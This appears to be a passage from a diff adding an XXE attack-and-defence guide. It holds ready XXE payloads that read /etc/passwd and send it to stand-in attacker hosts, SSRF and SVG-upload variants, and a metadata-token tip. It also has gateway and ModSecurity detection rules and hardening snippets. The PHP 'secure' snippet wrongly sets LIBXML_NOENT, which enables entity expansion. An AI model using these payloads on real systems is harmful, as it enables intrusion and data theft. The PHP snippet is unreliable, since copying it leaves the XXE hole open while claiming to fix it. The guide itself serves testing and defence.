+ ```xml
737
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
738
+ <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
739
+ %eval;
740
+ %exfil;
741
+ ```
742
+
743
+ 2. Use an XXE payload that references your DTD:
744
+ ```xml
745
+ <?xml version="1.0"?>
746
+ <!DOCTYPE data [
747
+ <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
748
+ %dtd;
749
+ ]>
750
+ <data>test</data>
751
+ ```
752
+
753
+ ##### XXE OOB with DTD and PHP filter
754
+
755
+ Payload:
756
+
757
+ ```xml
758
+ <?xml version="1.0" ?>
759
+ <!DOCTYPE r [
760
+ <!ELEMENT r ANY >
761
+ <!ENTITY % sp SYSTEM "http://your-attacker-server.com/dtd.xml">
762
+ %sp;
763
+ %param1;
764
+ ]>
765
+ <r>&exfil;</r>
766
+ ```
767
+
768
+ External DTD (`http://your-attacker-server.com/dtd.xml`):
769
+
770
+ ```dtd
771
+ <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
772
+ <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://your-attacker-server.com/log.php?data=%data;'>">
773
+ ```
774
+
775
+ ##### Error-Based Exfiltration
776
+
777
+ 1. Host a malicious DTD with error-based exfiltration:
778
+ ```xml
779
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
780
+ <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
781
+ %eval;
782
+ %error;
783
+ ```
784
+
785
+ ##### XXE for SSRF
786
+
787
+ Use XXE to trigger internal requests:
788
+
789
+ ```xml
790
+ <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://internal-service:8080/admin"> ]>
791
+ ```
792
+
793
+ ##### XXE Inside SOAP
794
+
795
+ ```xml
796
+ <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
797
+ ```
798
+
799
+ ##### XXE PoC Examples
800
+
801
+ ```xml
802
+ <!DOCTYPE xxe_test [ <!ENTITY xxe_test SYSTEM "file:///etc/passwd"> ]><x>&xxe_test;</x>
803
+ ```
804
+
805
+ ```xml
806
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe_test [ <!ENTITY xxe_test SYSTEM "file:///etc/passwd"> ]><x>&xxe_test;</x>
807
+ ```
808
+
809
+ ```xml
810
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe_test [<!ELEMENT foo ANY><!ENTITY xxe_test SYSTEM "file:///etc/passwd">]><foo>&xxe_test;</foo>
811
+ ```
812
+
813
+ ##### XXE via File Upload (SVG Example)
814
+
815
+ Create an SVG file with the payload:
816
+
817
+ ```xml
818
+ <?xml version="1.0" encoding="UTF-8"?>
819
+ <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
820
+ <svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
821
+ <text font-size="14" x="0" y="16">&xxe;</text>
822
+ </svg>
823
+ ```
824
+
825
+ Upload it where SVG is allowed (e.g., profile picture, comment attachment).
826
+
827
+ #### Comprehensive XXE Testing Checklist
828
+
829
+ 1. **Basic entity testing**:
830
+ - Test file access via `file://` protocol
831
+ - Test network access via `http://` protocol
832
+
833
+ 2. **Content delivery**:
834
+ - Direct XXE with immediate results
835
+ - Out-of-band XXE with remote DTD
836
+ - Error-based XXE for data extraction
837
+
838
+ 3. **Protocol testing**:
839
+ - Test various protocols (file, http, https, ftp, etc.)
840
+ - Attempt restricted protocol access
841
+
842
+ 4. **Format variations**:
843
+ - Test XXE in SVG uploads
844
+ - Test XXE in document formats (DOCX, XLSX, PDF)
845
+ - Test SOAP/XML-RPC interfaces
846
+
847
+ 5. **Bypasses**:
848
+ - Try character encoding tricks
849
+ - Use nested entities
850
+ - Apply URL encoding
851
+ - Test with namespace manipulations
852
+
853
+ ## Remediation Recommendations
854
+
855
+ - Disable DTD processing completely if possible
856
+ - Disable external entity resolution
857
+ - Implement proper input validation
858
+ - Use safe XML parsers that disable XXE by default
859
+ - Apply patch management to XML parsers
860
+ - Use newer API formats like JSON where feasible
861
+ - **Network egress allow-list**: Restrict outbound traffic from XML-parsing hosts to block blind-XXE callbacks.
862
+ - **API Gateway XML Protection**: Implement XML threat protection at the gateway layer
863
+
864
+ ### API Gateway XML Threat Protection
865
+
866
+ #### AWS API Gateway
867
+
868
+ ```yaml
869
+ # API Gateway Request Validator
870
+ RequestValidator:
871
+ Type: AWS::ApiGateway::RequestValidator
872
+ Properties:
873
+ ValidateRequestBody: true
874
+ ValidateRequestParameters: true
875
+
876
+ # Lambda authorizer to inspect XML
877
+ def lambda_handler(event, context):
878
+ body = event.get('body', '')
879
+
880
+ # Block DTD declarations
881
+ if '<!DOCTYPE' in body or '<!ENTITY' in body:
882
+ return {
883
+ 'statusCode': 400,
884
+ 'body': 'XML DTD not allowed'
885
+ }
886
+
887
+ # Size limit
888
+ if len(body) > 100000: # 100KB
889
+ return {
890
+ 'statusCode': 413,
891
+ 'body': 'Request too large'
892
+ }
893
+ ```
894
+
895
+ #### Kong Gateway
896
+
897
+ ```yaml
898
+ plugins:
899
+ - name: xml-threat-protection
900
+ config:
901
+ source_size_limit: 1000000 # 1MB max
902
+ name_size_limit: 255 # Max element name length
903
+ child_count_limit: 100 # Max child elements
904
+ attribute_count_limit: 50 # Max attributes per element
905
+ entity_expansion_limit: 0 # Disable entity expansion
906
+ external_entity_limit: 0 # Disable external entities
907
+ dtd_processing: false # Disable DTD
908
+ ```
909
+
910
+ #### Apigee Edge
911
+
912
+ ```xml
913
+ <!-- XMLThreatProtection policy -->
914
+ <XMLThreatProtection name="XML-Threat-Protection">
915
+ <Source>request</Source>
916
+ <StructureLimits>
917
+ <NodeDepth>10</NodeDepth>
918
+ <AttributeCountPerElement>5</AttributeCountPerElement>
919
+ <NamespaceCountPerElement>3</NamespaceCountPerElement>
920
+ <ChildCount includeComment="true" includeElement="true" includeProcessingInstruction="true" includeText="true">10</ChildCount>
921
+ </StructureLimits>
922
+ <ValueLimits>
923
+ <Text>1000</Text>
924
+ <Attribute>100</Attribute>
925
+ <NamespaceURI>100</NamespaceURI>
926
+ <Comment>500</Comment>
927
+ <ProcessingInstructionData>500</ProcessingInstructionData>
928
+ </ValueLimits>
929
+ </XMLThreatProtection>
930
+ ```
931
+
932
+ #### Nginx + ModSecurity
933
+
934
+ ```nginx
935
+ # ModSecurity rules for XXE
936
+ SecRule REQUEST_BODY "@rx <!ENTITY" \
937
+ "id:1000,phase:2,deny,status:403,msg:'XXE Attack Detected'"
938
+
939
+ SecRule REQUEST_BODY "@rx <!DOCTYPE.*\[" \
940
+ "id:1001,phase:2,deny,status:403,msg:'DTD Declaration Blocked'"
941
+ ```
942
+
943
+ ### Parser default hardening (2024-2025)
944
+
945
+ - **libxml2 ≥ 2.13**: `XML_PARSE_NO_XXE` disables all external entity resolution by default.
946
+ - **Python ≥ 3.13**: standard `xml.*` modules forbid external entities; enable only via `feature_external_ges`.
947
+ - **.NET 8**: project templates set `XmlReaderSettings.DtdProcessing = Prohibit`.
948
+ - **Java 22**: `XMLConstants.FEATURE_SECURE_PROCESSING` is enabled and `external-general-entities` is `false`.
949
+
950
+ ### Cloud-metadata nuance
951
+
952
+ AWS IMDSv2 now requires a session token. To exploit metadata via XXE you must first obtain a token with
953
+ `PUT /latest/api/token` and then pass it in the `X-aws-ec2-metadata-token` header of subsequent requests.
954
+
955
+ ### Secure Parser Configuration (practical snippets)
956
+
957
+ ```java
958
+ // Java (SAX/StAX/DOM)
959
+ DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
960
+ dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
961
+ dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
962
+ dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
963
+ dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
964
+ dbf.setXIncludeAware(false);
965
+ dbf.setExpandEntityReferences(false);
966
+ ```
967
+
968
+ ```python
969
+ # Python – prefer defusedxml
970
+ from defusedxml.ElementTree import fromstring
971
+ fromstring(xml_data)
972
+ ```
973
+
974
+ ```csharp
975
+ // .NET
976
+ var settings = new XmlReaderSettings
977
+ {
978
+ DtdProcessing = DtdProcessing.Prohibit,
979
+ XmlResolver = null
980
+ };
981
+ using var reader = XmlReader.Create(stream, settings);
982
+ ```
983
+
984
+ ```go
985
+ // Go – standard encoding/xml does not resolve external entities
986
+ // but avoid streaming untrusted data into custom resolvers
987
+ type Safe struct{ }
988
+ ```
989
+
990
+ ```php
991
+ // PHP – libxml
992
+ $old = libxml_disable_entity_loader(true);
993
+ $xml = simplexml_load_string($data, "SimpleXMLElement", LIBXML_NONET | LIBXML_NOENT);
994
+ libxml_disable_entity_loader($old);
995
+ ```
996
+